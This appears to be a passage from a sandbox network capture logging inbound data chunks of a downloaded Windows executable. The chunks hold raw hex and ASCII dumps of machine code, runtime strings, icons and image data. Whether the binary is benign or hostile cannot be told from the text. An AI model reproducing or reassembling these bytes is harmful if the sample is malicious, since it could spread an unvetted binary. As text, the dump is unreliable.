2022-04-20 07:18:55 UTC	49	IN	Data Raw: 50 83 ec 08 53 56 57 a1 60 10 03 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 89 65 f0 8b 5d 08 e8 58 a1 00 00 8b f0 33 c0 89 75 ec 89 43 08 89 43 10 89 43 14 89 45 fc e8 3e b8 01 00 8b 7e 08 8b c7 8d 50 01 8a 08 40 84 c9 75 f9 2b c2 8d 70 01 56 e8 cc a1 00 00 83 c4 04 8b c8 8d 9b 00 00 00 00 85 f6 76 09 8a 17 88 11 4e 41 47 eb f3 89 43 08 e8 04 b8 01 00 bf 60 a6 02 10 8b c7 8d 50 01 90 8a 08 40 84 c9 75 f9 2b c2 8d 70 01 56 e8 8f a1 00 00 83 c4 04 8b c8 85 f6 76 09 8a 17 88 11 4e 41 47 eb f3 89 43 10 e8 cd b7 01 00 bf 68 a6 02 10 8b c7 8d 50 01 8a 08 40 84 c9 75 f9 2b c2 8d 70 01 56 e8 59 a1 00 00 83 c4 04 8b c8 8d 49 00 85 f6 76 09 8a 17 88 11 4e 41 47 eb f3 89 43 14 c7 45 fc ff ff ff ff e8 8d b7 01 00 8b 75 ec 8b 06 8a 08 88 4b 0c e8 7e b7 01 00 8b 56 04 8a Data Ascii: PSVW`3PEde]X3uCCCE>~P@u+pVvNAGC`P@u+pVvNAGChP@u+pVYIvNAGCEuK~V
2022-04-20 07:18:55 UTC	65	IN	Data Raw: e8 1b 81 ff ff 8b 45 ec 3b c3 74 07 50 ff 15 38 80 02 10 8b 45 e8 3b c3 74 08 53 50 ff 15 34 80 02 10 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 04 00 cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 8b d1 8b 4a 04 83 79 f4 00 75 06 32 c0 8b e5 5d c3 e8 04 00 00 00 8b e5 5d c3 55 8b ec 6a ff 68 08 70 02 10 64 a1 00 00 00 00 50 83 ec 0c 53 56 57 a1 60 10 03 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b d9 8b fa b9 08 c1 02 10 e8 7a 01 00 00 8d 45 f0 50 8b cf e8 ff fe ff ff c7 45 fc 00 00 00 00 8b 75 f0 b9 08 c1 02 10 e8 5b 01 00 00 6a 04 68 08 c1 02 10 57 e8 0e f7 ff ff 6a 01 68 08 a9 02 10 57 e8 01 f7 ff ff 85 f6 75 04 33 c0 eb 18 8b c6 8d 50 02 8d 64 24 00 66 8b 08 83 c0 02 66 85 c9 75 f5 2b c2 d1 f8 50 56 57 e8 d9 f6 ff ff 6a 01 68 04 c1 02 10 57 Data Ascii: E;tP8E;tSP4MdY_^[]UJyu2]]UjhpdPSVW`3PEdzEPEu[jhWjhWu3Pd$ffu+PVWjhW
2022-04-20 07:18:55 UTC	81	IN	Data Raw: 00 00 80 e8 08 06 00 00 83 c4 10 c6 45 fc 03 8b 55 e8 83 7a f4 00 75 51 8b 45 ec 68 b4 c7 02 10 50 8d 4d e0 56 bb 40 00 00 00 51 8b d3 b9 02 00 00 80 e8 d9 05 00 00 83 c4 10 8d 7d e8 c6 45 fc 04 e8 fa 82 ff ff c6 45 fc 03 8b 45 e0 83 c0 f0 8d 50 0c 83 c9 ff f0 0f c1 0a 49 85 c9 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 8b 4d e8 83 79 f4 00 75 4e 8b 55 ec 68 b4 c7 02 10 52 8d 45 dc 56 50 33 d2 b9 01 00 00 80 33 db e8 82 05 00 00 83 c4 10 8d 7d e8 c6 45 fc 05 e8 a3 82 ff ff c6 45 fc 03 8b 45 dc 83 c0 f0 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 8b 4d e8 83 79 f4 00 0f 84 89 01 00 00 8b 45 10 85 db 75 29 85 c0 75 13 8b 55 f0 53 52 68 01 00 00 80 8b de e8 07 0b 00 00 eb 3f 83 f8 01 75 3d 8b 45 ec 6a 00 50 68 01 00 00 80 eb 26 85 c0 Data Ascii: EUzuQEhPMV@Q}EEEPIPBMyuNUhREVP33}EEEHJPBMyEu)uUSRh?u=EjPh&
2022-04-20 07:18:55 UTC	97	IN	Data Raw: 34 83 c0 10 6b c0 14 50 ff 35 7c 45 03 10 57 ff 35 14 2a 03 10 ff 15 68 81 02 10 3b c7 75 04 33 c0 eb 78 83 05 88 45 03 10 10 8b 35 78 45 03 10 a3 7c 45 03 10 6b f6 14 03 35 7c 45 03 10 68 c4 41 00 00 6a 08 ff 35 14 2a 03 10 ff 15 60 81 02 10 89 46 10 3b c7 74 c7 6a 04 68 00 20 00 00 68 00 00 10 00 57 ff 15 64 81 02 10 89 46 0c 3b c7 75 12 ff 76 10 57 ff 35 14 2a 03 10 ff 15 24 81 02 10 eb 9b 83 4e 08 ff 89 3e 89 7e 04 ff 05 78 45 03 10 8b 46 10 83 08 ff 8b c6 5f 5e c3 8b ff 55 8b ec 51 51 8b 4d 08 8b 41 08 53 56 8b 71 10 57 33 db eb 03 03 c0 43 85 c0 7d f9 8b c3 69 c0 04 02 00 00 8d 84 30 44 01 00 00 6a 3f 89 45 f8 5a 89 40 08 89 40 04 83 c0 08 4a 75 f4 6a 04 8b fb 68 00 10 00 00 c1 e7 0f 03 79 0c 68 00 80 00 00 57 ff 15 64 81 02 10 85 c0 75 08 83 c8 ff Data Ascii: 4kP5\|EW5h;u3xE5xE\|Ek5\|EhAj5`F;tjh hWdF;uvW5*$N>~xEF_^UQQMASVqW3C}i0Dj?EZ@@JujhyhWdu
2022-04-20 07:18:55 UTC	113	IN	Data Raw: ff ff 56 56 56 56 56 c7 00 16 00 00 00 e8 51 a3 ff ff 83 c4 14 83 c8 ff e9 06 02 00 00 66 39 30 74 db 53 8b 5d 10 3b de 74 0b 8b 03 3b c6 74 05 66 39 30 75 20 e8 6d b6 ff ff 56 56 56 56 56 c7 00 16 00 00 00 e8 19 a3 ff ff 83 c4 14 83 c8 ff e9 cd 01 00 00 e8 4d b6 ff ff 8b 00 89 45 ec e8 43 b6 ff ff ff 75 14 89 30 53 ff 75 0c ff 75 08 e8 2c 02 00 00 83 c4 10 89 45 f4 83 f8 ff 0f 85 6f 01 00 00 e8 1e b6 ff ff 83 38 02 0f 85 61 01 00 00 6a 2f ff 75 0c e8 e0 77 00 00 59 59 85 c0 0f 85 4d 01 00 00 68 74 85 02 10 8d 45 fc 56 50 e8 30 05 00 00 83 c4 0c 3b c6 74 1b 83 f8 16 0f 85 2e 01 00 00 56 56 56 56 56 e8 6c a1 ff ff 83 c4 14 e9 1c 01 00 00 39 75 fc 0f 84 13 01 00 00 6a 02 bb 04 01 00 00 53 e8 96 10 00 00 8b f8 59 59 3b fe 0f 84 fa 00 00 00 68 03 01 00 00 57 Data Ascii: VVVVVQf90tS];t;tf90u mVVVVVMECu0Suu,Eo8aj/uwYYMhtEVP0;t.VVVVVl9ujSYY;hW
2022-04-20 07:18:55 UTC	129	IN	Data Raw: 59 01 2b f3 74 15 33 db 85 f6 0f 9f c3 8d 5c 1b ff 8b f3 85 f6 0f 85 48 04 00 00 0f b6 70 02 0f b6 59 02 2b f3 74 15 33 db 85 f6 0f 9f c3 8d 5c 1b ff 8b f3 85 f6 0f 85 27 04 00 00 0f b6 70 03 0f b6 59 03 2b f3 74 11 33 db 85 f6 0f 9f c3 8d 5c 1b ff 8b f3 eb 02 33 f6 85 f6 0f 85 02 04 00 00 8b 70 04 3b 71 04 74 7e 0f b6 70 04 0f b6 59 04 2b f3 74 15 33 db 85 f6 0f 9f c3 8d 5c 1b ff 8b f3 85 f6 0f 85 d9 03 00 00 0f b6 70 05 0f b6 59 05 2b f3 74 15 33 db 85 f6 0f 9f c3 8d 5c 1b ff 8b f3 85 f6 0f 85 b8 03 00 00 0f b6 70 06 0f b6 59 06 2b f3 74 15 33 db 85 f6 0f 9f c3 8d 5c 1b ff 8b f3 85 f6 0f 85 97 03 00 00 0f b6 70 07 0f b6 59 07 2b f3 74 11 33 db 85 f6 0f 9f c3 8d 5c 1b ff 8b f3 eb 02 33 f6 85 f6 0f 85 72 03 00 00 8b 70 08 3b 71 08 74 7e 0f b6 70 08 0f b6 Data Ascii: Y+t3\HpY+t3\'pY+t3\3p;qt~pY+t3\pY+t3\pY+t3\pY+t3\3rp;qt~p
2022-04-20 07:18:55 UTC	145	IN	Data Raw: 38 5d fc 74 07 8b 4d f8 83 61 70 fd 5e 5f 5b c9 c3 8b ff 55 8b ec 53 57 33 ff 39 3d 74 2b 03 10 75 7d 8b 5d 08 3b df 75 1f e8 79 36 ff ff 57 57 57 57 57 c7 00 16 00 00 00 e8 25 23 ff ff 83 c4 14 b8 ff ff ff 7f eb 69 8b 55 0c 3b d7 74 da 81 7d 10 ff ff ff 7f 77 d1 0f b7 03 66 83 f8 41 72 09 66 83 f8 5a 77 03 83 c0 20 0f b7 c8 0f b7 02 66 83 f8 41 72 09 66 83 f8 5a 77 03 83 c0 20 43 43 42 42 ff 4d 10 0f b7 c0 74 0a 66 3b cf 74 05 66 3b c8 74 c3 0f b7 d0 0f b7 c1 2b c2 eb 12 57 ff 75 10 ff 75 0c ff 75 08 e8 20 fe ff ff 83 c4 10 5f 5b 5d c3 8b ff 55 8b ec 51 51 53 56 8b 35 dc 2b 03 10 33 db 89 5d fc 8b 06 57 3b c3 74 50 8b 3d 90 80 02 10 53 53 6a ff 50 53 53 ff d7 89 45 f8 3b c3 74 41 6a 02 50 e8 95 90 ff ff 59 59 89 45 fc 3b c3 74 30 ff 75 f8 50 6a ff ff 36 Data Ascii: 8]tMap^_[USW39=t+u}];uy6WWWWW%#iU;t}wfArfZw fArfZw CCBBMtf;tf;t+Wuuu _[]UQQSV5+3]W;tP=SSjPSSE;tAjPYYE;t0uPj6
2022-04-20 07:18:55 UTC	161	IN	Data Raw: 02 10 8b ff 55 8b ec 51 53 8b 45 0c 83 c0 0c 89 45 fc 64 8b 1d 00 00 00 00 8b 03 64 a3 00 00 00 00 8b 45 08 8b 5d 0c 8b 6d fc 8b 63 fc ff e0 5b c9 c2 08 00 58 59 87 04 24 ff e0 8b ff 55 8b ec 51 51 53 56 57 64 8b 35 00 00 00 00 89 75 fc c7 45 f8 66 1c 02 10 6a 00 ff 75 0c ff 75 f8 ff 75 08 e8 96 ff ff ff 8b 45 0c 8b 40 04 83 e0 fd 8b 4d 0c 89 41 04 64 8b 3d 00 00 00 00 8b 5d fc 89 3b 64 89 1d 00 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec 83 ec 08 53 56 57 fc 89 45 fc 33 c0 50 50 50 ff 75 fc ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 96 0f 00 00 83 c4 20 89 45 f8 5f 5e 5b 8b 45 f8 8b e5 5d c3 8b ff 55 8b ec 56 fc 8b 75 0c 8b 4e 08 33 ce e8 7b dc fe ff 6a 00 56 ff 76 14 ff 76 0c 6a 00 ff 75 10 ff 76 10 ff 75 08 e8 59 0f 00 00 83 c4 20 5e 5d c3 8b ff 55 8b ec 83 ec Data Ascii: UQSEEddE]mc[XY$UQQSVWd5uEfjuuuE@MAd=];d_^[USVWE3PPPuuuuu E_^[E]UVuN3{jVvvjuvuY ^]U
2022-04-20 07:18:55 UTC	177	IN	Data Raw: 83 ce 08 a9 00 04 00 00 74 03 83 ce 04 a9 00 08 00 00 74 03 83 ce 02 a9 00 10 00 00 74 03 83 ce 01 a9 00 01 00 00 74 06 81 ce 00 00 08 00 8b c8 bb 00 60 00 00 23 cb 74 2a 81 f9 00 20 00 00 74 1c 81 f9 00 40 00 00 74 0c 3b cb 75 16 81 ce 00 03 00 00 eb 0e 81 ce 00 02 00 00 eb 06 81 ce 00 01 00 00 bf 40 80 00 00 23 c7 83 e8 40 74 1c 2d c0 7f 00 00 74 0d 83 e8 40 75 16 81 ce 00 00 00 01 eb 0e 81 ce 00 00 00 03 eb 06 81 ce 00 00 00 02 8b 45 ec 8b d0 23 45 08 f7 d2 23 d6 0b d0 3b d6 75 07 8b c6 e9 b0 00 00 00 e8 16 fd ff ff 50 89 45 f4 e8 8a 02 00 00 59 0f ae 5d f4 8b 4d f4 33 d2 84 c9 79 03 6a 10 5a f7 c1 00 02 00 00 74 03 83 ca 08 f7 c1 00 04 00 00 74 03 83 ca 04 f7 c1 00 08 00 00 74 03 83 ca 02 f7 c1 00 10 00 00 74 03 83 ca 01 be 00 01 00 00 85 ce 74 06 81 Data Ascii: tttt`#t* t@t;u@#@t-t@uE#E#;uPEY]M3yjZttttt
2022-04-20 07:18:55 UTC	193	IN	Data Raw: 50 9d 02 10 47 42 52 00 64 9c 02 10 47 42 52 00 54 9c 02 10 55 53 41 00 4c 9d 02 10 55 53 41 00 0c 0c 1a 0c 07 10 36 04 0c 08 2d 04 03 04 0c 10 10 08 1d 08 30 00 00 00 4f 43 50 00 41 43 50 00 4e 6f 72 77 65 67 69 61 6e 2d 4e 79 6e 6f 72 73 6b 00 00 00 00 00 00 00 06 80 80 86 80 81 80 00 00 10 03 86 80 86 82 80 14 05 05 45 45 45 85 85 85 05 00 00 30 30 80 50 80 88 00 08 00 28 27 38 50 57 80 00 07 00 37 30 30 50 50 88 00 00 00 20 28 80 88 80 80 00 00 00 60 68 60 68 68 68 08 08 07 78 70 70 77 70 70 08 08 00 00 08 00 08 00 07 08 00 00 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 00 00 00 00 47 65 74 50 72 6f 63 65 73 73 57 69 6e 64 6f 77 53 74 61 74 69 6f 6e 00 47 65 74 55 73 65 72 4f 62 6a 65 63 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 41 00 00 Data Ascii: PGBRdGBRTUSALUSA6-0OCPACPNorwegian-NynorskEEE00P('8PW700PP (`h`hhhxppwppSystemRootGetProcessWindowStationGetUserObjectInformationA
2022-04-20 07:18:55 UTC	209	IN	Data Raw: 00 00 00 00 01 00 00 00 0c e4 02 10 14 e4 02 10 00 00 00 00 58 22 03 10 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 fc e3 02 10 74 22 03 10 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 c4 e3 02 10 00 00 00 00 d0 23 01 00 e4 80 01 00 68 ed 01 00 c5 1c 02 00 cf 1d 02 00 c8 5f 02 00 ee 5f 02 00 1c 60 02 00 49 60 02 00 6c 60 02 00 87 60 02 00 b0 60 02 00 d8 60 02 00 34 61 02 00 84 61 02 00 a0 61 02 00 cb 61 02 00 f8 61 02 00 28 62 02 00 58 62 02 00 c1 62 02 00 04 63 02 00 40 63 02 00 88 63 02 00 d0 63 02 00 18 64 02 00 4b 64 02 00 89 64 02 00 b8 64 02 00 e8 64 02 00 18 65 02 00 48 65 02 00 8b 65 02 00 c9 65 02 00 09 66 02 00 52 66 02 00 a1 66 02 00 e2 66 02 00 29 67 02 00 88 67 02 00 c8 67 02 00 f8 67 02 00 30 68 02 00 58 68 02 Data Ascii: X"@t"@#h__`I`l````4aaaaa(bXbbc@cccdKddddeHeeefRfff)gggg0hXh
2022-04-20 07:18:55 UTC	225	IN	Data Raw: 00 00 00 00 00 00 00 00 50 c3 0f 40 00 00 00 00 00 00 00 00 24 f4 12 40 00 00 00 00 00 00 00 80 96 98 16 40 00 00 00 00 00 00 00 20 bc be 19 40 00 00 00 00 00 04 bf c9 1b 8e 34 40 00 00 00 a1 ed cc ce 1b c2 d3 4e 40 20 f0 9e b5 70 2b a8 ad c5 9d 69 40 d0 5d fd 25 e5 1a 8e 4f 19 eb 83 40 71 96 d7 95 43 0e 05 8d 29 af 9e 40 f9 bf a0 44 ed 81 12 8f 81 82 b9 40 bf 3c d5 a6 cf ff 49 1f 78 c2 d3 40 6f c6 e0 8c e9 80 c9 47 ba 93 a8 41 bc 85 6b 55 27 39 8d f7 70 e0 7c 42 bc dd 8e de f9 9d fb eb 7e aa 51 43 a1 e6 76 e3 cc f2 29 2f 84 81 26 44 28 10 17 aa f8 ae 10 e3 c5 c4 fa 44 eb a7 d4 f3 f7 eb e1 4a 7a 95 cf 45 65 cc c7 91 0e a6 ae a0 19 e3 a3 46 0d 65 17 0c 75 81 86 75 76 c9 48 4d 58 42 e4 a7 93 39 3b 35 b8 b2 ed 53 4d a7 e5 5d 3d c5 5d 3b 8b 9e 92 5a ff 5d a6 Data Ascii: P@$@@ @4@N@ p+i@]%O@qC)@D@<Ix@oGAkU'9p\|B~QCv)/&D(DJzEeFeuuvHMXB9;5SM]=];Z]
2022-04-20 07:18:55 UTC	241	IN	Data Raw: 00 00 01 00 0d 00 30 30 10 00 01 00 04 00 68 06 00 00 d6 00 00 00 20 20 10 00 01 00 04 00 e8 02 00 00 3e 07 00 00 18 18 10 00 01 00 04 00 e8 01 00 00 26 0a 00 00 10 10 10 00 01 00 04 00 28 01 00 00 0e 0c 00 00 30 30 00 00 01 00 08 00 a8 0e 00 00 36 0d 00 00 20 20 00 00 01 00 08 00 a8 08 00 00 de 1b 00 00 18 18 00 00 01 00 08 00 c8 06 00 00 86 24 00 00 10 10 00 00 01 00 08 00 68 05 00 00 4e 2b 00 00 00 00 00 00 01 00 20 00 d2 d9 00 00 b6 30 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 88 0a 01 00 20 20 00 00 01 00 20 00 a8 10 00 00 30 30 01 00 18 18 00 00 01 00 20 00 88 09 00 00 d8 40 01 00 10 10 00 00 01 00 20 00 68 04 00 00 60 4a 01 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 04 00 00 00 00 00 80 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 00h >&(006 $hN+ 000 % 00 @ h`J(0`
2022-04-20 07:18:55 UTC	257	IN	Data Raw: 0a 03 09 51 15 00 00 ff 04 2c 35 42 40 2e 0a 0a 0a 03 09 0a 15 00 00 03 03 03 03 03 03 03 03 03 03 03 09 0a 15 00 00 00 04 06 06 06 06 06 06 09 09 09 09 0a 15 00 00 00 04 51 39 39 39 39 39 39 39 39 39 51 15 00 00 00 15 15 15 15 15 15 15 15 15 15 15 15 12 00 00 04 00 2a 13 13 13 13 13 13 13 13 13 3a 00 04 00 00 00 47 47 47 47 47 47 47 47 47 47 47 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 c0 01 00 00 c0 01 00 00 c0 01 00 00 a0 02 00 00 e0 03 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 20 00 49 44 41 54 78 9c ec bd 79 ac 2c d9 7d df f7 39 e7 d4 d2 eb dd de 36 6f de bc 19 ce 0c 87 9b 44 91 22 47 a2 Data Ascii: Q,5B@.Q999999999Q*:GGGGGGGGGGGPNGIHDR\rf IDATxy,}96oD"G
2022-04-20 07:18:55 UTC	273	IN	Data Raw: 24 5e e6 0a 37 c2 e2 59 30 46 0d 05 58 6d 9a e8 c4 2d 1b 4d 93 94 34 d5 18 0b 7b c7 2d 52 ed 12 4e 28 4f 21 90 08 2b 90 08 3c 2f 20 f4 7d 82 d0 c3 0f 14 be a7 86 29 a6 83 c0 73 06 d0 7a c5 2d 3d f5 9c 57 c2 1a 43 9c 24 a4 71 44 92 c4 1c b7 0f b1 46 43 d2 46 58 1f 21 2c 81 02 4f 42 e0 09 94 04 4f 81 12 16 25 41 65 be f9 22 08 49 38 db 43 ee b3 2f 83 dc 3d 45 ca 7a bd b0 36 f3 23 e4 28 96 80 1e 29 33 a2 06 d8 d1 77 38 ca 48 26 be b6 e2 9a d5 d4 ef ff 13 f4 c5 ff 1c 1d 3c 31 a5 f0 69 74 52 cd f8 76 a0 c7 22 12 70 de 19 ff b4 ce 6e 6d 6d c5 4a a9 21 03 00 46 c4 f9 dc f5 57 3e 9f eb fe d3 ac ba e3 6a 83 db b8 42 b2 75 e9 09 3c df 63 d0 eb 71 bc 7b c8 e6 a5 f3 54 2b 55 a2 38 21 d1 31 42 09 a4 ca 0c 5e 3e 66 2c 58 00 00 20 00 49 44 41 54 c6 a2 85 73 85 09 03 56 Data Ascii: $^7Y0FXm-M4{-RN(O!+</ })sz-=WC$qDFCFX!,OBO%Ae"I8C/=Ez6#()3w8H&<1itRv"pnmmJ!FW>jBu<cq{T+U8!1B^>f,X IDATsV
2022-04-20 07:18:55 UTC	289	IN	Data Raw: 55 b0 00 9c 0f 85 58 4a 13 fc 77 13 b2 3b 5b e4 de 7e a5 5e d2 dc dd ac 40 9f f9 5b 66 ef 0a 8a dd 98 40 72 27 0e 59 66 ef 02 dd 45 08 dc 77 03 d1 7b c1 01 bc 4a 53 c2 97 4e 1a d1 da d5 75 1d b0 2a 7b 7e 79 db d0 c1 39 03 74 a3 f8 4a 1d 1d 1d 9d 3b 6b 1a 6b 1c eb f5 9a 2c cb 76 52 67 5d a6 e9 fa f9 69 59 a2 ee ef fb 6e 81 8b 02 48 f4 d6 0f bd f9 bd 8b 23 b2 9d 0f 7d 08 3a d7 e6 bd 67 bd 5e f3 ed 6f 7f 9b d5 6a c5 f3 e7 cf 19 8f c7 e4 59 86 2e 32 f2 a3 11 72 90 63 44 68 2d 96 67 90 8f 35 62 a0 29 ca 01 d2 87 1e 80 5a 6b ca b2 dc 39 bf ad 20 50 8a b2 1c 30 c8 0a 6a b1 0a 26 7e 27 f6 91 4e a8 bb 5d 97 c9 fb 50 dc 43 cb 76 ef c7 ee e3 4c 31 93 d4 99 c8 98 06 b3 5e 32 1c 54 64 3a c7 3a 87 b1 21 38 a7 62 5f c3 d4 35 28 59 65 ad 29 df c2 76 db 28 63 2b 2c fa cc Data Ascii: UXJw;[~^@[f@r'YfEw{JSNu*{~y9tJ;kk,vRg]iYnH#}:g^ojY.2rcDh-g5b)Zk9 P0j&~'N]PCvL1^2Td::!8b_5(Ye)v(c+,
2022-04-20 07:18:55 UTC	305	IN	Data Raw: 05 45 d3 e9 d2 b5 0b 4b 13 b2 6c c0 60 30 60 34 1a 32 1a 0d d9 db bb c4 78 bc c3 72 b5 e0 e8 f0 88 d3 e9 a9 af 87 6f 98 9e 9c b0 9c cf 89 a2 94 24 8d bd 65 91 91 a6 a9 4b 71 96 0e 29 c7 27 cf 28 19 e2 f7 6b 8d d8 18 8d c0 cd fa d3 ae 35 12 da 18 f2 bc e2 68 7a cc ed fb f7 b8 3f 3d a2 aa 0b 94 90 8c 64 c2 64 30 64 9c 66 a4 49 06 89 e4 be 5e 72 6f 7e cc d1 62 ee 42 9d 52 b5 80 a2 c1 e1 0b c1 05 b0 04 79 60 31 62 ad c9 37 ec 83 c0 fc 3e 04 10 f4 b6 41 b4 b8 a7 05 a4 12 ad af 6f b0 9c 34 c7 3c 1b 3d b7 3e d2 03 19 5f b4 ef c3 b5 70 8f cd b0 e1 a6 fb d0 59 e3 b9 18 40 18 16 ab 59 2c 56 94 65 41 5d 57 3e cb f2 7c 80 cf 45 2d 60 30 18 b3 b3 b3 cb 70 38 72 c0 b1 cf 8d 88 63 98 4c 76 e3 9d 9d 89 c5 e1 57 09 8e e9 97 38 01 10 80 bf a0 f5 b7 e5 f3 5f 98 1e d7 c5 7e Data Ascii: EKl`0`42xro$eKq)'(k5hz?=dd0dfI^ro~bBRy`1b7>Ao4<=>_pY@Y,VeA]W>\|E-`0p8rcLvW8_~
2022-04-20 07:18:55 UTC	321	IN	Data Raw: ff 00 00 00 01 ff 00 00 ff 00 00 00 01 7f 00 00 d7 c6 00 00 03 3f 00 00 ff c6 00 00 03 ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 80 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b7 bf b7 0f b2 c2 c6 39 bc c8 cd 72 bc cc dc b0 c5 d0 d8 df 87 87 86 5e 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c6 c5 be Data Ascii: ?( @ 9r^
2022-04-20 07:18:56 UTC	337	IN	Data Raw: c8 45 33 c9 33 c9 83 f8 7f 0f 87 1e 02 00 00 45 8b c6 41 8b d6 ff 15 d1 67 00 00 48 8b c8 48 89 05 5f 9c 00 00 ff 15 51 67 00 00 44 8d 47 04 48 8d 15 7a b2 00 00 48 8d 0d 5f 6c 00 00 e8 ca 20 00 00 85 c0 75 2d 21 7c 24 28 45 33 c9 45 33 c0 33 c9 ba b1 04 00 00 c7 44 24 20 10 00 00 00 e8 58 1e 00 00 c7 05 22 a9 00 00 14 07 07 80 e9 d3 01 00 00 8b 05 37 b2 00 00 a8 40 75 08 84 c0 0f 89 b8 00 00 00 41 b8 04 01 00 00 48 8d 54 24 30 48 8d 0d 15 6c 00 00 e8 70 20 00 00 33 c9 85 c0 75 0c 21 7c 24 28 45 33 c9 45 33 c0 eb a4 4c 8d 44 24 30 41 8b d6 ff 15 70 66 00 00 48 89 05 b9 9b 00 00 48 85 c0 74 75 ff 15 6e 65 00 00 3d b7 00 00 00 75 68 45 33 c9 4c 8d 05 e5 a8 00 00 33 c9 f6 05 c8 b1 00 00 80 74 18 21 7c 24 28 ba 4b 05 00 00 c7 44 24 20 10 00 00 00 e8 bc 1d 00 Data Ascii: E33EAgHH_QgDGHzH_l u-!\|$(E3E33D$ X"7@uAHT$0Hlp 3u!\|$(E3E3LD$0ApfHHtune=uhE3L3t!\|$(KD$
2022-04-20 07:18:56 UTC	353	IN	Data Raw: 98 29 00 00 49 03 dc 3c 41 74 47 3c 44 74 3a 3c 49 74 2d 3c 4e 74 20 3c 50 74 12 3c 53 74 05 41 8b f7 eb 3b 83 0d 7d 72 00 00 04 eb 2b 0f ba 2d 3f 64 00 00 07 eb 28 83 25 6a 72 00 00 fe eb 18 83 25 61 72 00 00 fd eb 0f 83 0d 24 64 00 00 40 eb 0d 09 3d 50 72 00 00 44 89 25 f5 60 00 00 8a 03 84 c0 75 95 e9 4a ff ff ff 83 4c 24 28 ff 48 8d 44 24 41 41 83 c9 ff 48 89 44 24 20 4c 8d 05 78 2d 00 00 41 8b d4 b9 7f 00 00 00 ff 15 a2 25 00 00 2b c7 0f 84 1a ff ff ff e9 12 ff ff ff 8a 44 24 42 84 c0 75 0c 66 89 3d b6 60 00 00 e9 01 ff ff ff 3c 3a 0f 85 f6 fe ff ff 48 0f be 4c 24 43 ff 15 d5 28 00 00 3c 31 74 dc 3c 41 74 09 3c 55 74 d4 e9 d9 fe ff ff 66 44 89 25 84 60 00 00 e9 cf fe ff ff 8a 44 24 42 84 c0 75 0c 44 89 25 64 60 00 00 e9 bb fe ff ff 3c 3a 0f 85 b0 fe Data Ascii: )I<AtG<Dt:<It-<Nt <Pt<StA;}r+-?d(%jr%ar$d@=PrD%`uJL$(HD$AAHD$ Lx-A%+D$Buf=`<:HL$C(<1t<At<UtfD%`D$BuD%d`<:
2022-04-20 07:18:56 UTC	369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 11 00 00 b7 11 00 00 90 9c 00 00 c0 11 00 00 b8 12 00 00 9c 9c 00 00 c0 12 00 00 89 14 00 00 b8 9c 00 00 90 14 00 00 53 15 00 00 dc 9c 00 00 5c 15 00 00 ef 15 00 00 f4 9c 00 00 f8 15 00 00 3c 1b 00 00 08 9d 00 00 44 1b 00 00 31 1c 00 00 2c 9d 00 00 38 1c 00 00 fa 1e 00 00 3c 9d 00 00 00 1f 00 00 ba 20 00 00 60 9d 00 00 c0 20 00 00 6c 21 00 00 80 9d 00 00 74 21 00 00 95 22 00 00 98 9d 00 00 9c 22 00 00 1e 23 00 00 a4 9d 00 00 24 23 00 00 40 24 00 00 bc 9d 00 00 48 24 00 00 21 26 00 00 d0 9d 00 00 28 26 00 Data Ascii: DS\<D1,8< ` l!t!""#$#@$H$!&(&
2022-04-20 07:18:56 UTC	385	IN	Data Raw: 00 00 00 00 88 ff ff ff f8 8f ff 8f 8f f8 88 88 85 78 88 70 00 00 00 00 00 00 00 00 7f ff ff ff ff f8 88 88 77 78 78 77 88 7c 88 80 00 00 00 00 00 00 00 00 88 f8 88 87 77 67 77 77 78 78 88 88 88 88 88 88 00 00 00 00 00 00 00 00 78 77 87 67 67 77 87 88 88 88 88 88 88 88 78 87 00 00 00 00 00 00 00 00 78 88 77 78 88 88 f8 8f 8f 8f 8f 8f 8f 88 8c f8 80 00 00 00 00 00 00 00 88 88 87 88 ff ff ff f8 f8 f8 8f 88 88 88 88 78 70 00 00 00 00 00 00 00 78 88 78 88 f8 f8 f8 f8 f8 ff 88 f8 ff 8f 88 87 80 00 00 00 00 00 00 00 78 88 88 78 f8 ff 8f 8f f8 f8 f8 f8 88 88 88 80 00 00 00 00 00 00 00 00 88 88 78 88 ff 8f 8f f8 8f 88 88 88 88 88 88 70 00 00 00 00 00 00 00 00 87 88 80 08 88 88 88 88 88 88 